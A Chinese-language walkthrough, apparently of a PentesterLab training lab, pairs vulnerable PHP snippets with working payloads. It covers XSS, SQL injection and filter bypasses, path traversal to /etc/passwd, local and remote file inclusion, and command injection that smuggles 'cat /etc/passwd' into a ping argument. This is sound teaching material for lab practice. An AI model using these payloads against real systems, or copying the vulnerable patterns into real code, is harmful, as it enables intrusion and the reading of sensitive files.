有三种类型的XSS:
- 反射型
- 存储型
- DOM型
PHP源码
echo $_GET["name"];
?>
payload
?name=<script>alert(1);script>
PHP源码
$name = $_GET["name"];
$name = preg_replace("/
payload-1:使用//注释后续代码
";b=alert(1);eval(b);//
payload-2:使用虚构代码结束后续部分
";b=alert(1);eval(b);var $dummy="
PHP源码
其中,htmlentities()把字符转换为HTML实体。
- htmlentities(string,flags,character-set,double_encode)
- flags参数:可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
- NT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可见htmlentities函数默认不处理单引号(’)。
payload
';b=alert(1);eval(b);//
PHP源码
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
payload
/"method="POST">
PHP源码
payload
#<script>alert(1)script>
本环境使用MySQL作为后端环境。
php源码
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>idth><th>nameth><th>ageth>tr>
while ($row = mysql_fetch_assoc($result)) {
echo "";
echo "".$row['id']." ";
echo "".$row['name']." ";
echo "".$row['age']." ";
echo " ";
}
echo "";
}
require_once '../footer.php';
?>
payload
利用自带的引号闭合
自行闭合,并使用注释
- 使用–注释
?name=root' --%20
?name=root' %23
php源码
require_once('../header.php');
require_once('db.php');
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>idth><th>nameth><th>ageth>tr>
while ($row = mysql_fetch_assoc($result)) {
echo "";
echo "".$row['id']." ";
echo "".$row['name']." ";
echo "".$row['age']." ";
echo " ";
}
echo "";
}
require '../footer.php';
?>
payload
?name=root'%09and%09'1'='1
payload
?name=root'/**/and/**/'1'='1
php源码
require_once('../header.php');
require_once('db.php');
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>idth><th>nameth><th>ageth>tr>
while ($row = mysql_fetch_assoc($result)) {
echo "";
echo "".$row['id']." ";
echo "".$row['name']." ";
echo "".$row['age']." ";
echo " ";
}
echo "";
}
require '../footer.php';
?>
本例是防止SQL注入的典型错误。mysql_real_escape_string可以防止前面3种绕过方式。但是本例中获取的值是一个整数,在单引号’之间不会被回显。该值直接放入查询中,因此使用此函数不会阻止任何操作。
可以加入空格和SQL关键词来破坏语法。
php源码
require_once('../header.php');
require_once('db.php');
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>idth><th>nameth><th>ageth>tr>
while ($row = mysql_fetch_assoc($result)) {
echo "";
echo "".$row['id']." ";
echo "".$row['name']." ";
echo "".$row['age']." ";
echo " ";
}
echo "";
}
require '../footer.php';
?>
payload:play with value 2
?id=2
?id=3-1
?id=2-0
?id=1+1
?id=2.0
php源码
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
该正则表达式不正确,仅保证了参数id是以数字开始的。前面的检测方式可以发现该漏洞。
payload
php源码
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
该正则表达式仅仅保证了参数id以数字结束。没有保证参数的开始是否是有效的。
payload
?id=1 or 1=1 # 123
php源码
参数id必须以数字开始和结束。但是该正则使用了PCRE修饰符PCRE_MULTILINE(/m),所以只会验证其中一行只包含一个整数。
payload
123\nPAYLOAD
PAYLOAD\n123
PAYLOAD\n123\nPAYLOAD
其中换行符(linefeed)\n的URL编码为%0a
php源码
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
MySQL有两种排序语句:
- 直接声明:ORDER BY name
- 在反引号之间声明:ORDER BY name
可以测试该漏洞是否存在:
payload-1:以下payload显示相同结果
name` #
name` ASC #
name`, `name
payload-2:以下payload显示不同结果
name` DESC #
name`
php源码
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
可以使用MySQL的IF语句生成更多的payloads
payload-1:以下两种,结果相同
?order=name
?order=IF(1, name,age)
payload-2:和上边两种结果不同
?order=IF(0,name,age)
副作用:这种payload会导致,使用age排序时会把整数当作字符。(字符串10小于字符串2)
又称Path Traversal attack,即目录遍历攻击,旨在访问web服务器根目录外的文件/目录。通过是通过url或变量里头传递”../”来进行目录遍历。
测试方法:相同值技术。使用相同意义的不同表达,以及大量的../,检测是否存在漏洞。
example
http://vulnerable/dirtrav/example1.php?file=hacker.png
php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file;
if (!is_file($path))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
payload
?file=../../../../../etc/passwd
example
http://vulnerable/dirtrav/example2.php?file=/var/www/files/hacker.png
php
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
if (!is_file($file))
die();
可以保留路径的开始部分,使用../回溯到根目录。
payload
?file=/var/www/files/../../../../../../etc/passwd
example
http://vulnerable/dirtrav/example3.php?file=hacker
php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);
payload
?file=../../../../../etc/passwd%00
php
if ($_GET["page"]) {
include($_GET["page"]);
}
payload-1:本地文件包含
?page=../../../../etc/passwd
payload-2:远程文件包含
?page=http://assets.pentesterlab.com/test_include.txt
php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
payload-1:本地文件包含
?page=../../../../etc/passwd%00
payload-2:远程文件包含
?page=http://assets.pentesterlab.com/test_include.txt?blah=
URL中使用?来分隔多个不同参数。
payload
?ip=127.0.0.1 %26%26 cat /etc/passwd
php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
正则表达式的^匹配一个字符串的开头, 匹配一个字符串的结尾,m规定正则表达式可以执行多行匹配,让和 分别表示行首和行尾。
注入编码的换行符(%0a)然后加上你要执行的命令就行了。
payload
?ip=127.0.0.1%0Acat /etc/passwd